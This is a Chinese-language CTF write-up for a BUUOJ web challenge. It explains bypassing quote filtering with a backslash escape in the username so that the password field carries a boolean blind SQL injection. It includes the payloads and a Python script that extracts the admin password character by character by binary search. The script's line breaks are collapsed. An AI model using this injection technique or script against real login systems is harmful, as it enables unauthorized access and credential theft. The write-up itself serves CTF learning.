拿到题目,先扫一下目录
发现有robots.txt,里面提示了一个hint.txt。
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
有一条后台查询语句
回到登入框处,尝试注入,发现加单双引号都被过滤
fuzz一下
长度为1414的都被过滤,包括select,and,=,等。
很明显联合注入用不了,报错注入无回显也不行。考虑盲注。
当username=admin&password=or 1#
时可引发盲注
有不同回显
select * from users where username='admin\' and password='or 1#';
这时的后台语句变成这样的,用反斜杠转义username后面那个单引号,所以username的第一个单引号只能与password的第一个单引号闭合,最后一个单引号被注释,所以or后面那块就可以由我们自由发挥了。
在这里因为限制比较多,直接查数据库里的表列内容比较难,我们可以直接查password的值。
username=admin\&password=or(ascii(substr(password,{},1))>0)#
时发现有不同回显,所以方法可行,使用脚本跑一下
附上本人的垃圾脚本:
import requestsurl='http://5359b7aa-506f-4bbc-a401-dde18a3754e9.node3.buuoj.cn'
flag=''for i in range(1, 30):high=128low=32mid=(high+low)//2while low<high:payload = "or(ascii(substr(password,{},1))>{})#".format(i, mid)data = {"username": "admin\\", "password": payload}re = requests.post(url, data=data)if "stronger" in re.text:low=mid+1else :high=midmid=(high+low)//2if (low == 32 or high == 128):breakflag += chr(mid)print(flag)
跑出密码后用admin登入即可获得flag